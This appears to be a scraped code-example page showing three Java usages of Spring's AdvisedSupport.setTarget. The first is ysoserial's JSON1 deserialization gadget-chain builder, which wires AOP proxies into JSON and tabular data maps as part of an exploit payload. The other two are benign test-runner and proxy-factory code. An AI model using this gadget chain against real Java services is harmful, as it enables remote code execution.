List of usage examples for org.springframework.aop.framework AdvisedSupport setTarget
public void setTarget(Object target)
From source file:jenkins.security.security218.ysoserial.payloads.JSON1.java
/** * Will call all getter methods on payload that are defined in the given interfaces *///from w w w . j a va 2 s . c om public static Map makeCallerChain(Object payload, Class... ifaces) throws OpenDataException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception, ClassNotFoundException { CompositeType rt = new CompositeType("a", "b", new String[] { "a" }, new String[] { "a" }, new OpenType[] { javax.management.openmbean.SimpleType.INTEGER }); TabularType tt = new TabularType("a", "b", rt, new String[] { "a" }); TabularDataSupport t1 = new TabularDataSupport(tt); TabularDataSupport t2 = new TabularDataSupport(tt); // we need to make payload implement composite data // it's very likely that there are other proxy impls that could be used AdvisedSupport as = new AdvisedSupport(); as.setTarget(payload); InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections .getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as); InvocationHandler cdsInvocationHandler = Gadgets .createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt)); CompositeInvocationHandlerImpl invocationHandler = new CompositeInvocationHandlerImpl(); invocationHandler.addInvocationHandler(CompositeData.class, cdsInvocationHandler); invocationHandler.setDefaultHandler(delegateInvocationHandler); final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces); JSONObject jo = new JSONObject(); Map m = new HashMap(); m.put("t", cdsProxy); Reflections.setFieldValue(jo, "properties", m); Reflections.setFieldValue(jo, "properties", m); Reflections.setFieldValue(t1, "dataMap", jo); Reflections.setFieldValue(t2, "dataMap", jo); return Gadgets.makeMap(t1, t2); }
From source file:com.yeahmobi.yunit.testutils.MustNotSwallowSpringJUnit4ClassRunner.java
@Override public void run(RunNotifier notifier) { AdvisedSupport config = new AdvisedSupport(); config.setTarget(notifier); config.addAdvice(new org.aopalliance.intercept.MethodInterceptor() { public Object invoke(MethodInvocation invocation) throws Throwable { if ("fireTestFailure".equals(invocation.getMethod().getName())) { Failure failure = (Failure) invocation.getArguments()[0]; if (failure.getException() instanceof NotSwallowedException) { // We expect this return null; }/*from w ww. j a va 2 s. c o m*/ } return invocation.proceed(); } }); DefaultAopProxyFactory aopProxyFactory = new DefaultAopProxyFactory(); RunNotifier runNotifierProxy = (RunNotifier) aopProxyFactory.createAopProxy(config).getProxy(); super.run(runNotifierProxy); }
From source file:org.piraso.proxy.RegexProxyFactory.java
@SuppressWarnings("unchecked") public ProxyInterceptorAware<T> getProxyInterceptor(T object) { RegexMethodInterceptor<T> wrapper = new RegexMethodInterceptorWrapper(new RegexMethodInterceptor<T>(), object);//w w w . j a va 2 s . c o m wrapper.addAllMethodListener(listeners); T proxy; if (clazz.isInterface()) { proxy = ProxyFactory.getProxy(clazz, wrapper); } else { AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(object); advisedSupport.addAdvice(wrapper); AopProxy aopProxy = new DefaultAopProxyFactory().createAopProxy(advisedSupport); proxy = (T) aopProxy.getProxy(); } return new ProxyInterceptorAware<T>(proxy, wrapper); }